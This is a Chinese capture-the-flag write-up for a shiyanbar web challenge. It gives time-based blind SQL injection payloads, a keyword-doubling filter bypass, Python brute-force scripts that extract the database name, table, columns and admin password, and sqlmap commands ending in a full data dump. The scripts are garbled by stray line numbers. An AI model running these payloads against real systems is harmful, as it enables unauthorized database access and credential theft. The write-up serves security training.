實驗吧 看起來有點難（手工注入加sqlmap注入）

嗯~打開題目看見一個逼格有點高的圖

查看網頁源代碼，表單以get的方式傳送三個參數（admin，pass，action）給index.php，但是限制了兩個輸入框的最大長度是10，這個是前端的限制，形同虛設。我們可以用按瀏覽器的F12，改變其值的大小，或者在URL欄中輸入都可以。

 

然后我們在輸入框中隨便輸入一點測試看會報什么錯，或者過濾了什么關鍵字符，我們可以輸入一些敏感的字符串。然后我們可以看見我們在admin中輸入的會打印在屏幕上。並且我們發現用戶名框把select，#過濾了，而select只是簡單的過濾，可以構造成seleselectct繞過；而且我們在用戶名輸入admin時爆的錯可以讓我們確定正確的用戶名就是admin

既然知道了用戶名，且substring，mid語句都沒有被過濾。我們開始構造注入語句看看能不能成功。

 http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and sleep(5) or '1'='0" 

嗯~發現頁面等了5~6秒才顯示。說明語句執行成功了。可以注入！！

開始寫python3腳本

爆庫名

 

import requests  2 import string  3 
gress=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits  5 databaseName=''

for i in range(1, 13):   #假設庫名長度為12
    for playload in gress:  9 
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr(database(),%s,1)='%s') then sleep(10) else 1 end or '1'='0" %(i,playload) 11         #key={'pass':'','action':'login'}
        try: 13             print("正在測試第%d個字符是否為'%s'"%(i,playload)) 14             r = requests.get(url,timeout=4) 15         except: 16             suo=0 17             databaseName+=playload 18             print("數據庫名為是%s"%databaseName) 19             break

print(databaseName)

 

 

 

 

庫名是test

 然后開始爆表名

import requests  2 import string  3 
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation  6 tableName=[]  7 for i in range(0,5):   #假設web4中有五個表
    Name=''
    flag2=0 10     for col in range(1,11):#假設每個表的最大長度不超過10
        flag=0 12         for payload in str: 13             url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr((seleselectct table_name from information_schema.tables where table_schema='test' limit 1 offset %d),%d,1)='%s') then sleep(5) else 1 end or '1'='0" %(i,col,payload) 14             try: 15                 print(url) 16                 r = requests.get(url, timeout=4) 17             except: 18                 flag=1
                flag2=1
                Name += payload 21                 print("第%s個表為是%s" % (i+1,Name)) 22                 break
        #tableName.append(Name)
        if flag==0: 25             break
    if(flag2==0): 27         break
 tableName.append(Name) 29 
for a in range(len(tableName)): 31     print(tableName[a])

就一張表，表名為admin

爆字段

 

import requests  2 import string  3 
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation  6 columnName=[]  7 for i in range(0,5):  8     Name=''
    flag2=0 10     for col in range(1,11):#假設每個列名的最大長度不超過10
        flag=0 12         for payload in str: 13             url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr((seleselectct column_name from information_schema.columns where table_name='admin' limit 1 offset %d),%d,1)='%s') then sleep(5) else 1 end or '1'='0" % (i, col, payload) 14             try: 15                 print(url) 16                 r = requests.get(url, timeout=4) 17             except: 18                 flag=1
                flag2=1
                Name += payload 21                 print("第%s個字段為是%s" % (i+1,Name)) 22                 break
        if flag==0: 24             break
    if(flag2==0): 26         break
 columnName.append(Name) 28 
for a in range(len(columnName)): 30     print(columnName[a])

 

 

 

爆出字段內容

import requests  2 import string  3 
gress=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits  5 databaseName=''

for i in range(1, 16):   #假設庫名長度為15
    for playload in gress:  9 
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr((seleselectct password from admin),%d,1)='%s') then sleep(5) else 1 end or '1'='0" %(i,playload) 11 
        try: 13             print("正在測試第%d個字符是否為'%s'"%(i,playload)) 14             r = requests.get(url,timeout=4) 15         except: 16             suo=0 17             databaseName+=playload 18             print("內容為是%s"%databaseName) 19             break

print(databaseName)

OK 內容就是idnuenna。

 

 

下面用sqlmap來注入。

在sqlmap中輸入

  sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" 

發現是可以注入的！

開始爆庫名

 sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --dbs 

 

爆表名

 sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --tables -D "test" 

 

爆列名

sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --columns -T "admin" -D "test"

爆內容

sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --dump -C "password" -T "admin" -D "test"

好啦，密碼已經出來啦